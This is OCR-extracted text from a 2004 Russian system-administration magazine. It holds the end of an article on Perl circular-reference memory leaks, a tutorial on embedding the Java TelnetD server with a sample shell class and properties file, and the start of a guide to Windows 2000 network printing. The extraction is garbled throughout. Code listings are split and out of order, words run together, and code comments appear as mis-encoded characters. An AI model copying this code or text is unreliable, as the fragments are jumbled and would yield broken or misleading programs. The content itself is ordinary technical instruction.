Не будем далеко ходить за примером и чуть моди-фицируем тело цикла из последнего листинга:

Утечка произошла по той же самой причине, что иобычно. Когда выполнение блока подходит к концу и на-ступает время собрать мусор, система сборки обнару-живает, что на кольцевую структуру ссылаются две пе-ременных: $ring и $a. Вторую уничтожить не получает-ся, потому что на неё имеется ссылка. Где эта ссылканаходится, система сборки мусора уже не разбирается,но мы-то знаем, что она содержится в недрах структу-ры $ring. Круг замкнулся, система сборки мусора сноване заметила наш мусор.

Теперь, я надеюсь, читатель видит и причины воз-никновения проблемы, и пути её решения.

Одним словом, при создании сложных структур дан-ных всегда надо помнить, что Perl не сможет угадатьваши мысли, и чётко представлять, каким образом онинтерпретирует ваши команды.

1 Во многих языках, например в Cи, ситуация обрат-на: данные могут быть удалены автоматически, дажеесли на них имеются указатели. Perl же не требуетповышенной аккуратности при работе с указателя-ми, всегда поддерживая их работоспособными.

2 Конечно, это жаргон, здесь и далее фразы типа«массив структур» следует понимать как «массивуказателей на структуры».

3 В Perl понятия «класс», «модуль» и «пакет» так жене разделимы, как и понятия «объект» и «перемен-ная», «метод» и «функция». Поэтому я не буду при-держиваться строгой объектно-ориентированнойтерминологии, в Perl её просто нет.

4 Начиная с версии 5.0.5 Конечно, это только имитация настоящего экспор-

тирования. Подобный подход не позволит нормаль-но использовать модуль MyRing в других модулях,но я не хотел бы здесь уделять чрезмерное внима-ние созданию модулей в Perl, и мой код демонстри-рует не хорошие манеры при написании модулей, апредельно компактное решение.

01: #!/usr/bin/perl -w02:03: package MyRing;04:05: sub main::create_ring {06: my ($length)=@_;07: my @ring=({'value' => 0})x$length;08: for (my $i=0; $i<$length; $i++) {09: $ring[$i]{'next_ref'}=$ring[($i+1)%$length];10: }11: return bless \@ring, __PACKAGE__;12: }13:14: sub DESTROY {15: my ($self)=@_;16: $self->[0]{'next_ref'}=undef;17: }18:19: package main;20:21: while (1) { my $ring=create_ring(10); }

$ring=7;

...21: # ÎÑÒÎÐÎÆÍÎ! ÓÒÅ×ÊÀ ÏÀÌßÒÈ!22: while (1) {23: my $ring=create_ring(10);24: my $a;25: $ring->[0]{'value'}=\$a;26: $a=$ring;27: }

Page 84: 018 Системный Администратор 05 2004

82

программирование

TelnetDИнструмент, способный помочь в решении поставленнойзадачи, был быстро найден. Это TelnetD – встраиваемыймногопоточный сервер Telnet, реализованный на языкеJava Дитером Вимбергером (Dieter Wimberger). TelnetD по-ставляется в виде исходных текстов по модифицирован-ной лицензии BSD. На момент написания статьи быладоступна версия 1.0.

Архитектура TelnetDЦентральным объектом TelnetD является сервер (Daemonпо терминологии разработчика), который создает все дру-гие необходимые для работы объекты – слушателей(Listeners), менеджер оболочек (ShellManager) и менеджертерминалов (TerminalManager).

Слушатели принимают и управляют сетевыми соеди-нениями от клиентских программ.

Менеджер оболочек занимается созданием оболочек(интерпретаторов командной строки), которые восприни-мают и исполняют команды пользователя и реагируют насобытия сетевого соединения (такие как бездействие, тай-маут или разрыв).

JAVA: ВСТРАИВАЕМ СЕРВЕР TELNET

АЛЕКСАНДР ФЕФЕЛОВ

В процессе работы над одним Java-проектом я столкнулся с необходимостью удаленного управлениясерверным приложением. Разрабатывать полновесный графический интерфейс пользователя(GUI) мне показалось нерациональным. Ведь если GUI создать на базе Swing или SWT, то придетсяустанавливать дополнительные программы (JRE и собственно GUI) на клиентских рабочих местах.А если GUI построить на основе JSP, то дополнительные программы (JSP-контейнер) придетсяустанавливать на сервере. В то же время проект был рассчитан на эксплуатацию квалифицированнымперсоналом, которому нет нужды до свистулек и погремушек графического интерфейса. Значит,вполне подходящим выбором могли быть доступные удаленно интерфейс командной строки (CLI)или текстовый интерфейс пользователя (TUI). Наиболее очевидный выбор для реализации удаленныхCLI и TUI – это Telnet (RFC 854). Данная статья и посвящена встраиванию функционала сервераTelnet в Java-приложения.

Поддержка конкретных реализаций терминалов (такихкак ANSI, VT100 или xterm), возложена на менеджер тер-миналов.

Все перечисленные компоненты TelnetD конфигуриру-ются с помощью объектов java.util.Properties, а значит на-стройки можно хранить в обычных текстовых файлах.

Для встраивания TelnetD в программу нужно всеголишь запрограммировать собственный интерпретаторкомандной строки, реализующий необходимую логикувзаимодействия с пользователем.

Начнем…Для работы с TelnetD нам понадобятся:! дистрибутив TelnetD, включающий исходные тексты

(файл telnetd-1.0.zip) и документацию (файл telnetd-1.0_docs.zip);

! инструментарий Apache Ant. (В задачи данной статьине входит описание работы с Ant. Будем предполагать,что Ant уже установлен и настроен.)

Развернем дистрибутив и скомпилируем TelnetD, вы-полнив в каталоге установки команду:

Page 85: 018 Системный Администратор 05 2004

83№5(18), май 2004

программирование

При компиляции будут выданы предупреждения об ис-пользовании устаревшего (deprecated) метода java.lang.Thread.stop(), которые могут быть безболезненно проиг-норированы. В результате компиляции в каталоге buildбудет создан файл telnetd.jar. (Обратите внимание на егомалый размер. В моем случае – всего 86060 байт.)

Теперь скопируем все файлы из каталога src\net\wimpi\telnetd\resources в каталог build, в нем выполнимкоманду:

которая запустит сервер TelnetD на выполнение в демон-страционном режиме, и попытаемся установить соеди-нение с сервером с помощью команды:

Voila! Наш сервер работает.

Пример использования TelnetDКак было сказано выше, для встраивания TelnetD в про-грамму необходимо создать свой класс для интерпрета-тора командной строки. Этот класс должен реализовыватьинтерфейс Shell из пакета net.wimpi.telnetd.shell.

Следует отметить, что интерфейс Shell является рас-ширением интерфейса ConnectionListener из пакета net.wimpi.telnetd.net. А это значит, что интерпретатор команд-ной строки должен предоставлять методы, реагирующиена события соединения.

Мы создадим максимально простой интерпретатор,который будет ждать ввода пользователем какого-либосимвола и выполнять соответствующее действие. Набордействий невелик – это выдача дополнительной инфор-мации о сеансе, завершение сеанса и останов сервера.Итак, код:

ant jar + TelnetD.getReference().getVersion() + CRLF); termIO.flush(); while (true) { // Âûâîäèì ïîäñêàçêó termIO.write(CRLF + "Press [i] for information," + CRLF + "[x] for exit," + CRLF + "[s] for shutdown" + CRLF + CRLF); termIO.flush(); // Æäåì ââîäà îò ïîëüçîâàòåëÿ int ch = termIO.read(); // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì switch (ch) { case 120: // x - çàâåðøåíèå ñåàíñà termIO.write("Goobye!"); termIO.flush(); connection.close(); return; case 115: // s - îñòàíîâ ñåðâåðà termIO.write("Requiescat in pace!"); termIO.flush(); TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return; case 105: // i - èíôîðìàöèÿ î ñåðâåðå è ñåàíñå // Ïîëó÷àåì äàííûå î ñîåäèíåíèè ConnectionData data = connection.getConnectionData(); // Âûâîäèì äàííûå íà ýêðàí termIO.write("Additional info:" + CRLF); termIO.write("Connected from: " + data.getHostName() + " [" + data.getHostAddress() + ":" + data.getPort() + "]" + CRLF); termIO.write("Guessed locale: " + data.getLocale() + CRLF); termIO.write("Negotiated terminal type: " + data.getNegotiatedTerminalType() + CRLF); termIO.write("Scrolling support: " + (termIO.getTerminal().supportsScrolling() ? "yes" : "no") + CRLF); termIO.write("Graphics rendition support: " + (termIO.getTerminal().supportsSGR() ? "yes" : "no") + CRLF); termIO.write("Negotiated columns: " + data.getTerminalColumns() + CRLF); termIO.write("Negotiated rows: " + data.getTerminalRows() + CRLF); termIO.write("Login shell: " + data.getLoginShell() + CRLF); termIO.flush(); break; } } } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: òàéìàóò public void connectionTimedOut(ConnectionEvent ce) { termIO.write("*** Connection timedout" + CRLF); termIO.flush(); connection.close(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: áåçäåéñòâèå public void connectionIdle(ConnectionEvent ce) { termIO.write("*** Connection idle" + CRLF); termIO.flush(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: çàïðîñ íà ðàçðûâ // ñîåäèíåíèÿ (Ctrl+D) public void connectionLogoutRequest(ConnectionEvent ce) { termIO.write("*** Connection logout request" + CRLF); termIO.flush(); } // Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ðàçðûâ ñîåäèíåíèÿ public void connectionBroken(ConnectionEvent ce) { termIO.write("*** Connection broken" + CRLF); termIO.flush(); }

telnet localhost 6666

java -classpath telnetd.jar net.wimpi.telnetd.TelnetD

package telnetdtest;import net.wimpi.telnetd.*;import net.wimpi.telnetd.io.*;import net.wimpi.telnetd.net.*;import net.wimpi.telnetd.shell.*;public class Test1Shell implements Shell { // Ñîçäàíèå ýêçåìïëÿðà èíòåðïðåòàòîðà êîìàíäíîé ñòðîêè // (îáîëî÷êè). Ýòîò ìåòîä, õîòÿ è íå îïèñàí â èíòåðôåéñå // Shell, äîëæåí áûòü ðåàëèçîâàí, òàê êàê îí // èñïîëüçóåòñÿ ìåíåäæåðîì îáîëî÷åê äëÿ ñîçäàíèÿ // ýêçåìïëÿðà êîíêðåòíîé îáîëî÷êè public static Shell createShell() { return new Test1Shell(); } // Ñîáñòâåííî èíòåðïðåòàòîð public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà // ñîáûòèé ñîåäèíåíèÿ this.connection.addConnectionListener(this); // Âûâîäèì áàííåð, ñîäåðæàùèé íîìåð âåðñèè TelnetD termIO.write("TelnetD testbed 1" + CRLF + "TelnetD version: "

Page 86: 018 Системный Администратор 05 2004

84

программирование

Конфигурационный файл для нашего примера описы-вает параметры ведения протоколов работы TelnetD, пе-речни известных терминалов, оболочек и слушателей суказанием реализующих их классов и параметров:

Теперь создадим программу, которая запустит нашTelnet-сервер:

Интерфейс пользователяВ предыдущем примере для организации общения спользователем применялись возможности посимвольно-го ввода, которых явно недостаточно для реальных при-ложений.

Пакет net.wimpi.telnetd.io.toolkit предоставляет инстру-менты для организации более развитого диалога с пользо-вателем. В число этих инструментов входят как активные(взаимодействующие с пользователем каким-либо обра-зом), так и пассивные (только лишь отображающие что-либо) компоненты.

Активные компоненты представлены однострочным(класс Editfield) и многострочным (класс Editarea) редак-торами, меню (класс Selection), флажком (класс Checkbox)и пейджером (класс Pager). Для работы с активным ком-понентом необходимо создать нужный объект, вызватьсоответствующие методы для настройки параметров, выз-вать метод run(), приводящий к активизации компонента,

// Ðåàêöèÿ íà ñîáûòèå ñîåäèíåíèÿ: ñèãíàë NVT BREAK public void connectionSentBreak(ConnectionEvent ce) { termIO.write("*** Connection break" + CRLF); termIO.flush(); } private Connection connection; private TerminalIO termIO; private final String CRLF = BasicTerminalIO.CRLF;}

#=====================================================# Ïàðàìåòðû ñèñòåìíûõ æóðíàëîâ#=====================================================syslog=onsyslog.media=terminalsyslog.stampformat=[yyyy-MM-dd hh:mm:ss z]syslog.path=#=====================================================# Ïàðàìåòðû îòëàäî÷íûõ æóðíàëîâ#=====================================================debuglog=offdebuglog.media=terminaldebuglog.stampformat=[yyyy-MM-dd hh:mm:ss z]debuglog.path=#=====================================================# Òåðìèíàëû#=====================================================# Èçâåñòíûå òåðìèíàëûterminals=vt100,ansi,windoof,xterm# Êëàññû òåðìèíàëîâterm.vt100.class=net.wimpi.telnetd.io.terminal.vt100term.ansi.class=net.wimpi.telnetd.io.terminal.ansiterm.windoof.class=net.wimpi.telnetd.io.terminal.Windoofterm.xterm.class=net.wimpi.telnetd.io.terminal.xterm# Àëèàñû òåðìèíàëîâterm.vt100.aliases=default,vt100-am,vt102,dec-vt100term.ansi.aliases=color-xterm,xterm-color,vt320,vt220,linuxterm.windoof.aliases=term.xterm.aliases=#=====================================================# Îáîëî÷êè#=====================================================# Èçâåñòíûå îáîëî÷êèshells=myShell#-------------------------------------------# Ïàðàìåòðû îáîëî÷êè myShell#-------------------------------------------# Êëàññ îáîëî÷êèshell.myShell.class=telnetdtest.Test1Shell#=====================================================# Ñëóøàòåëè#=====================================================# Èçâåñòíûå ñëóøàòåëèlisteners=myListener#-------------------------------------------# Ïàðàìåòðû ñëóøàòåëÿ myListener#-------------------------------------------# Ïîðò, íà êîòîðîì ñëóøàòåëü îæèäàåò ñîåäèíåíèÿmyListener.port=7241# Ìàêñèìàëüíîå êîëè÷åñòâî çàïðîñîâ íà ñîåäèíåíèå

package telnetdtest;import java.io.*;import java.util.*;import net.wimpi.telnetd.*;public class Test1 { public static void main(String[] args) throws Exception { System.out.println("TelnetD testbed 1"); // Çàãðóæàåì íàñòðîéêè TelnetD èç ôàéëà Properties settings = new Properties(); settings.load(new FileInputStream("test1.properties")); // Ñîçäàåì ñåðâåð TelnetD daemon = TelnetD.createTelnetD(settings); // Ðàçðåøàåì ñåðâåðó ðàáîòàòü daemon.setServing(true); }}

# (çàùèòà îò ôëóäà)myListener.floodprotection=5# Ìàêñèìàëüíîå êîëè÷åñòâî àêòèâíûõ ñîåäèíåíèémyListener.maxcon=10# Ìàêñèìàëüíîå êîëè÷åñòâî ñîåäèíåíèé, îæèäàþùèõ àêòèâèçàöèèmyListener.maxqueued=0# Âðåìÿ áåçäåéñòâèÿ ñîåäèíåíèÿmyListener.time_to_warning=300000# Âðåìÿ òàéìàóòà ñîåäèíåíèÿmyListener.time_to_timedout=100000# Ïåðèîäè÷íîñòü ïðîâåðêè áåçäåéñòâèÿ è òàéìàóòàmyListener.housekeepinginterval=1000# Ðåæèì ââîäàmyListener.inputmode=character# Èìÿ îáîëî÷êè, çàïóñêàåìîé ñëóøàòåëåìmyListener.loginshell=myShell# Êëàññ ôèëüòðà ñîåäèíåíèémyListener.connectionfilter=

Page 87: 018 Системный Администратор 05 2004

85№5(18), май 2004

программирование

и, наконец, вызвать метод getValue() для получения ре-зультатов работы компонента.

Пассивные компоненты – это метка (класс Label), стро-ки заголовка (класс Titlebar) и статуса (класс Statusbar).Для пассивного компонента после создания и настройкипараметров необходимо вызывать метод draw(), что при-ведет к отображению компонента.

Посмотрим некоторые из этих компонентов в деле. Дляэтого изменим код метода run(…) в интерпретаторе изпервого примера. Теперь он выглядит так:

ЗаключениеИтак, используя TelnetD, можно с минимальными затра-тами обеспечить возможность удаленного управленияJava-приложением по протоколу Telnet.

Здесь, однако, следует отметить, что протокол Telnetпередает все данные «открытым текстом», а значит, ис-пользование его в публичных сетях небезопасно. В каче-стве альтернативы протоколу Telnet для применения в пуб-личных сетях можно предложить нестандартные расши-рения протокола Telnet или протокол SSH.

Ссылки:1. http://www.faqs.org/rfcs/rfc854.html – спецификация про-

токола Telnet.2. http://telnetd.sourceforge.net/ – домашняя страница TelnetD.3. http://ant.apache.org/ – домашняя страница Jakarta Ant.4. http://www.pvv.ntnu.no/~asgaut/crypto/thesis/thesis.html –

вариант модификации протокола Telnet с целью повы-шения безопасности.

5. http://www.ietf.org/html.charters/secsh-charter.html – ма-териалы рабочей группы IETF Secure Shell по стандар-тизации протокола SSH.

public void run(Connection con) { connection = con; termIO = (TerminalIO) connection.getTerminalIO(); // Ðåãèñòðèðóåì ýòîò îáúåêò â êà÷åñòâå îáðàáîò÷èêà // ñîáûòèé ñîåäèíåíèÿ this.connection.addConnectionListener(this); while (true) { // Î÷èùàåì ýêðàí termIO.eraseScreen(); // Ñîçäàåì è îòîáðàæàåì ñòðîêè çàãîëîâêà è ñòàòóñà Titlebar title = new Titlebar(termIO, ""); title.setTitleText("TelnetD testbed 2"); title.setForegroundColor(ColorHelper.YELLOW); title.setBackgroundColor(ColorHelper.BLUE); title.setAlignment(Titlebar.ALIGN_CENTER); title.draw(); Statusbar status = new Statusbar(termIO, ""); status.setStatusText("TelnetD version: " + TelnetD.getReference().getVersion()); status.setForegroundColor(ColorHelper.YELLOW); status.setBackgroundColor(ColorHelper.BLUE); status.setAlignment(Statusbar.ALIGN_RIGHT); status.draw(); // Âûâîäèì ïîäñêàçêó ê ìåíþ termIO.homeCursor(); termIO.moveCursor(BasicTerminalIO.DOWN, 5); termIO.write(CRLF + "Use arrow keys to select " + "command, [Enter] or [Tab] to run command" + CRLF + "Command:" + CRLF); termIO.flush(); // Ñîçäàåì ìåíþ âûáîðà è àêòèâèçèðóåì åãî Selection menu = new Selection(termIO, ""); menu.addOption("Editfield demo"); menu.addOption("Editarea demo"); menu.addOption("Exit"); menu.addOption("Shutdown"); menu.run(); // Ïîëó÷àåì âûáîð ïîëüçîâàòåëÿ int cmd = menu.getSelected(); // Ðåàãèðóåì ñîîòâåòñòâóþùèì îáðàçîì switch (cmd) { case 0: // äåìîíñòðàöèÿ âîçìîæíîñòåé // îäíîñòðî÷íîãî ðåäàêòîðà termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editfield demo" + CRLF + "--------------" + CRLF); final int MAX_EDITFIELD_CHARS = 20; // Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó termIO.write(CRLF + "Type any text (max " + MAX_EDITFIELD_CHARS + " chars), press " + "[Enter] or [Tab] to finish typing" + CRLF + "Text:" + CRLF); termIO.flush(); // Ñîçäàåì îäíîñòðî÷íûé ðåäàêòîð Editfield editfield = new Editfield(termIO, "", MAX_EDITFIELD_CHARS); // Æäåì ââîäà îò ïîëüçîâàòåëÿ editfield.run(); // Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò

termIO.write(CRLF + "Your input: " + CRLF + editfield.getValue() + CRLF); termIO.flush(); break; case 1: // äåìîíñòðàöèÿ âîçìîæíîñòåé // ìíîãîñòðî÷íîãî ðåäàêòîðà termIO.eraseScreen(); termIO.homeCursor(); termIO.write("Editarea demo" + CRLF + "-------------" + CRLF); final int MAX_EDITAREA_ROWS = 4; // Âûâîäèì ïîäñêàçêó ê ðåäàêòîðó termIO.write(CRLF + "Type any text (max " + MAX_EDITAREA_ROWS + " rows), press [Tab] " + "to finish typing" + CRLF + "Text:" + CRLF); termIO.flush(); // Ñîçäàåì ìíîãîñòðî÷íûé ðåäàêòîð Editarea editarea = new Editarea(termIO, "", MAX_EDITAREA_ROWS, MAX_EDITAREA_ROWS); // Æäåì ââîäà îò ïîëüçîâàòåëÿ editarea.run(); // Ïîêàçûâàåì ïîëüçîâàòåëþ ðåçóëüòàò termIO.write(CRLF + "Your input: " + CRLF + editarea.getValue() + CRLF); termIO.flush(); break; case 2: // çàâåðøåíèå ñåàíñà connection.close(); return; case 3: // îñòàíîâ ñåðâåðà TelnetD.getReference().setServing(false); TelnetD.getReference().shutdown(); System.exit(0); return; } // Æäåì, ïîêà ïîëüçîâàòåëü íàæìåò ëþáóþ êëàâèøó termIO.write(CRLF + "Press any key"); termIO.flush(); termIO.read(); } }

Page 88: 018 Системный Администратор 05 2004
Page 89: 018 Системный Администратор 05 2004
Page 90: 018 Системный Администратор 05 2004

88

образование

УПРАВЛЕНИЕ СЕТЕВОЙ ПЕЧАТЬЮВ WINDOWS 2000ЧАСТЬ 1

Во многих крупных организациях используется сетевая печать. В этой статье будет рассмотренкруг вопросов, касающихся обеспечения сетевой печати в Windows-доменах, функционирующихна основе протокола TCP/IP. Статья состоит из 2 частей: в первой части описан процесс установкисетевого принтера в домене Windows, во второй – обеспечение автоматизированного подключенияпринтера к пользователю.

ИВАН КОРОБКО

Page 91: 018 Системный Администратор 05 2004

89№5(18), май 2004

образование

Сетевой принтерЛюбой сетевой принтер представляет собой печатающееустройство, снабженное сетевым аппаратным обеспече-нием, а именно: сетевой картой, дополнительной памя-тью, а в некоторых случаях жестким диском для буфери-зации больших документов. Для обеспечения связи этипринтеры используют протоколы, поддерживаемые ва-шей сетью, как правило, таким транспортным протоко-лом является TCP/IP, и имеют собственные IP-адреса.Сетевой принтер имеет веб-интерфейс, позволяющийбыстро и просто удаленно менять настройки печатающе-го устройства.

Соединение локальных принтеров с сетью может бытьреализовано с помощью Jet Direct. Jet Direct – это устрой-ство, преобразующее LPT/USB-интерфейс в сетевой. Спомощью этого устройства к сети может быть подключе-но несколько принтеров.

Сетевые принтеры чаще всего используются с серве-рами печати, но могут функционировать и самостоятель-но в сети, что экономично, поскольку не требует приобре-тения сервера.

Тем не менее, если нет сервера, формирующего оче-редь печати, то каждый пользователь создает свою соб-ственную очередь печати и не может видеть, где егодокумент находится относительно других документов вглобальной очереди принтера. Из-за отсутствия единойочереди печати невозможно централизованное управ-ление заданиями. Только пользователь, документ ко-торого в настоящее время печатается на принтере, вслучае ошибки печати может ее видеть. Наконец, пред-варительная печать документов осуществляется на ра-бочей станции пользователя, что увеличивает нагруз-ку на нее.

По этим причинам желательно наличие сервера печа-ти при работе с сетевыми принтерами.

Сервер печатиСервер печати – это компьютер, который управляет связя-ми между принтерами и рабочими станциями в сети, жела-ющими воспользоваться предоставляемыми услугами.

В сетях, построенных на основе Microsoft Windows, вкачестве сервера печати может быть использован Windows2000 Professional или Windows 2000 Server. В качествесервера выгоднее использовать Windows 2000 Server, по-скольку Windows 2000 Professional поддерживает всеголишь 10 подключений одновременно и не может осуще-ствлять поддержку клиентов Macintosh или NetWare, еслитаковые имеются в сети.

Принтеры могут соединяться с сервером печати либопо сети, либо напрямую – через параллельный интер-фейс, хотя второй вариант менее предпочтителен, по-скольку требует значительных затрат процессорного вре-мени на обслуживание порта и физически «привязыва-ет» печатающее устройство к серверу, т.к. кабель, со-единяющий LPT-порты сервера и принтера, имеет огра-ничения по длине.

Принтеры, соединяющиеся с сервером печати черезUSB или IEE1394 (FireWire), позволяют уменьшить нагруз-ку на процессор и увеличить скорость печати, но несмот-

ря на это самым популярным способом подключения яв-ляется сетевое соединение.

Соглашение об именахИмя должно содержать как можно больше информациио принтере, и при этом быть удобным для использова-ния. На рабочих станциях под управлением операцион-ной системы Windows, пользователь имеет дело с двумяименами – именем принтера и сетевым именем. Имяпринтера – это имя, назначаемое принтеру во время ус-тановки. Длина имени ограничивается 220 символами.Сетевое имя назначается принтеру для использования всети. Максимальная длина сетевого имени составляет80 символов, хотя его не рекомендуется делать длиннее8 символов для обеспечения совместимости с клиента-ми MS-DOS и Windows 3.x. Некоторые приложения немогут работать с принтерами, у которых полное состав-ное имя (имя компьютера, объединенное с сетевым име-нем принтера по шаблону \\Server_Name\Printer_Share_Name) длиннее 31 символа.

Чаще всего имя, назначаемое принтеру, представля-ет собой реальное имя принтера с порядковым номером,если есть несколько принтеров одинаковой модели, на-пример, HP LaserJet 2300 (1), HP LaserJet 2300 (2). Такойспособ именования рекомендуется использовать в не-больших организациях. В крупных корпорациях принципименования принтеров может быть другим. Например,названия могут быть даны по именам отделов и офисов,где территориально находится принтер, например, «Крас-нодар ОКС» или «Ростов АТС-34».

Сетевое имя, как отмечено ранее, должно быть бо-лее коротким, но при этом не должно терять смысловойнагрузки. Оно чаще всего представляет собой общую ха-рактеристику принтера, например, HP2300_1.

Установка и настройка сетевогопринтера

ТеорияДля подключения принтера, имеющего USB- или LPT-ин-терфейс к сети, необходимо использовать JetDirect, кото-рый представляет собой небольшой компьютер, снабжен-ный сетевой платой, оперативной памятью, имеющий про-граммное обеспечение – веб-интерфейс, с помощью ко-торого осуществляется настройка.

В принтере, имеющем встроенный сетевой интерфейс,находится компьютер, в котором присутствует оператив-ная память, жесткий диск для обеспечения буферизациизаданий и более сложное программное обеспечение, до-ступ к которому также осуществляется через веб-интер-фейс или через панель управления на принтере.

Перед тем как начать установку принтера на серверепечати, необходимо выполнить настройку сетевого интер-фейса принтера. Настройку удобнее всего производитьчерез веб-интерфейс.

Доступ к веб-интерфейсу принтера осуществляетсяс помощью любого браузера (Internet Explorer, Opera илиNetscape Navigator) по IP-адресу или по сетевому име-ни принтера. Некоторые принтеры имеют заводскую

Page 92: 018 Системный Администратор 05 2004

90

образование

предустановку IP-адреса, о чем обязательно написанов инструкции. В том случае если IP-адрес неизвестен,необходимо распечатать конфигурационный лист прин-тера. В случае если в принтер сетевой интерфейс встро-ен, то печать осуществляется с помощью выбора соот-ветствующего пункта меню на панели управления прин-тера. Если сетевой интерфейс не встроен в принтер,т.е. используется JetDirect, то необходимо нажать накнопку, находящуюся на корпусе Jet Direct, которая ини-циализирует вывод текущей конфигурации устройствана печать.

Конфигурационная страница принтера, имеющеговстроенный сетевой интерфейс или JetDirect, содержитследующую информацию: модель и серийный номерпринтера, параметры настройки сетевого адаптера, егосерийный номер, МАС-адрес, количество распечатанныхи застрявших в принтере страниц, настройки протоко-лов TCP/IP, IPX/SPX, AppleTalk и др.

После вывода конфигурационного листа на печать вразделе, посвященном настройкам протокола TCP/IP, не-обходимо определить IP-адрес сетевого принтера длятого, чтобы войти и соединиться с его веб-интерфейсом.

Поскольку сеть функционирует на основе протоколаTCP/IP, то все остальные протоколы связи в принтере/Jet Direct можно отключить через веб-интерфейс.

В настройках оставшегося протокола необходимо ука-зать сетевое имя принтера, по которому в будущем бу-дет удобно обращаться к веб-интерфейсу принтера. Се-тевое имя принтера (host name) должно соответствоватьпринятому соглашению об именах, например, HP2300_1.Это имя автоматически будет прописано в службе DNS.Если необходимо задать альтернативное сетевое имяпринтера, то можно вручную создать соответствующуюзапись в службе DNS.

Также необходимо определить способ получения IP-адреса. Для этого нужно выполнить настройку свойствпротокола TCP/IP так, чтобы IP-адрес выделялся служ-бой DHCP.

В том случае, если служба DHCP не используется, тонеобходимо на веб-интерфейсе принтера указать стати-ческий IP-адрес принтера.

Чтобы служба DHCP всегда выделяла один и тот жеадрес, необходимо его зарезервировать для данного се-тевого устройства. Резервирование адреса осуществля-ется на основе MAC-адреса сетевого адаптера. MAC-ад-рес (Medium Access Control) – это уникальное число дли-ной 48-бит, использующееся для установки соответствиямежду TCP/IP и адресом канального уровня.

Значение MAC-адреса можно найти на конфигураци-онном листе, веб-интерфейсе принтера или на корпусепринтера/JetDirect.

Следующий этап – установка сетевого принтера. Насервере печати сетевой принтер устанавливается в ка-честве локального устройства с той разницей, что вмес-то локального порта (параллельного или USB) создает-ся стандартный порт TCP/IP, который имеет два пара-метра – IP-адрес и название порта. В качестве IP-адресазадается зарезервированный в службе DHCP адрес, еслислужба DHCP не используется, то указывается статичес-

кий IP-адрес, введенный в настройках TCP/IP на веб-ин-терфейсе принтера.

В процессе установки принтера задаются имя прин-тера и сетевое имя принтера. Оба имени должны соот-ветствовать принятому соглашению об именах. Жела-тельно, чтобы сетевое имя принтера (share name) совпа-дало с сетевым именем принтера (host name), заданнымв веб-интерфейсе. Таким образом, сетевое имя принте-ра (host name), по которому можно войти в веб-интер-фейс, будет совпадать с сетевым именем принтера (sharename), по которому будет осуществляться подключениепринтера к пользователю. Такая унификация имен даетнам отсутствие путаницы в настройках, обеспечиваетпростоту визуального восприятия.

После установки принтера на сервере печати необ-ходимо убедиться, что в его настройках выбрана опция«List in Active Directory».

Для реализации автоматического подключения прин-тера к пользователям, имеющим право печатать и уп-равлять очередью печати, необходимо опубликоватьпринтер в службе каталогов Active Directory. В AD длякаждого сетевого принтера рекомендуется создать OU(Organization Unit), в котором разместится опубликован-ный в AD принтер и 2 группы безопасности, определя-ющие уровни доступа к нему пользователей. В соответ-ствии с принятым соглашением об именах рекоменду-ется использовать следующий шаблон для создания на-званий групп. Название первой группы, члены котороймогут только выводить задания на печать, рекоменду-ется строить следующим образом: к сетевому именипринтера через дефис прибавляется слово Print, напри-мер, «HP2300_1-Print». Название второй группы стро-ится аналогично, с той разницей, что слово «Print» ре-комендуется заменить на словосочетание «Print Mana-gers». Члены второй группы могут управлять очередьюпечати и принтером. О том, как задаются права на груп-пы, – чуть позже.

Подключение сетевых принтеров осуществляется прирегистрации пользователя в сети в автоматическом ре-жиме. Пользователю, входящему хотя бы в одну из 2групп безопасности, осуществляется подключение соот-ветствующего принтера. Если пользователь не входит нив одну из этих групп, то сценарий отключает принтер упользователя.

Автоматизирование подключения/отключения принте-ров осуществляется с помощью сценария регистрации.Сценарий регистрации будет подробно рассмотрен вовторой части статьи.

Для того чтобы обеспечить подключения по группам,необходимо на сервере печати изменить права на дос-туп к данному принтеру, удалив из списка объектов (поль-зователей и групп), которые могут осуществлять печать,группу Everyone (Все) и добавив туда две соответствую-щие данному принтеру группы. Группе Print необходимовыставить флажок напротив свойства Print (печать), груп-пе Print Managers – Manage Documents (управление до-кументами).

Изложив теоретические аспекты установки и настройкисетевого принтера, рассмотрим этот вопрос на практике.

Page 93: 018 Системный Администратор 05 2004

91№5(18), май 2004

образование

Постановка задачиНеобходимо подключить принтер HP LaserJet 1200 с по-мощью сетевого интерфейса к серверу печати. Обеспе-чить сетевому принтеру статическое выделение IP-адре-са 192.168.2.1 службой DHCP. Опубликовать принтер вActive Directory и создать две группы, определяющие раз-личный уровень доступа к принтеру и очереди печати (см.теоретическую часть).

ПрактикаПринтер HP LaserJet 1200 имеет два интерфейса – LPT иUSB. Для подключения принтера к сети необходимо ис-пользовать JetDirect, который преобразует один из ин-терфейсов в сетевой. После соединения принтера кJetDirect и подключения получившегося сетевого прин-тера к сети, необходимо вывести на печать конфигура-ционный лист.

Для этого нажмите на корпусе JetDirect соответству-ющую кнопку. Анализируя конфигурационный лист, не-обходимо определить IP-адрес, который получен сетевым

адаптером JetDirect. Воспользовавшись любым браузе-ром, например, Internet Explorer, войдите на веб-интер-фейс принтера, вводя к адресной строке IP-адрес, при-веденный в листе конфигурации сетевого принтера, вданном случае JetDitect.

С помощью веб-интерфейса необходимо выключитьвсе протоколы, кроме TCP/IP. Протокол TCP/IP следуетнастроить так, чтобы IP-адрес сетевой адаптер получалот службы DHCP, и назначить сетевое имя принтера (hostname) в соответствии с поставленной задачей и приня-тым соглашением о именах – HP1200_1 (см. рис. 1). Наэтом настройка сетевого интерфейса принтера с помо-щью веб-интерфейса завершена.

Следующим этапом установки сетевого принтера всети является резервирование для него IP-адреса. Длятого чтобы зарезервировать IP-адреса в службе DHCP,выделите папку «Reservation» и, нажав правую кнопкуна этой папке, выберете пункт меню «New Reservation».Появится окно (см. рис. 2), в котором необходимо ука-зать имя, IP-адрес и MAC-адрес принтера.

Ðèñóíîê 1

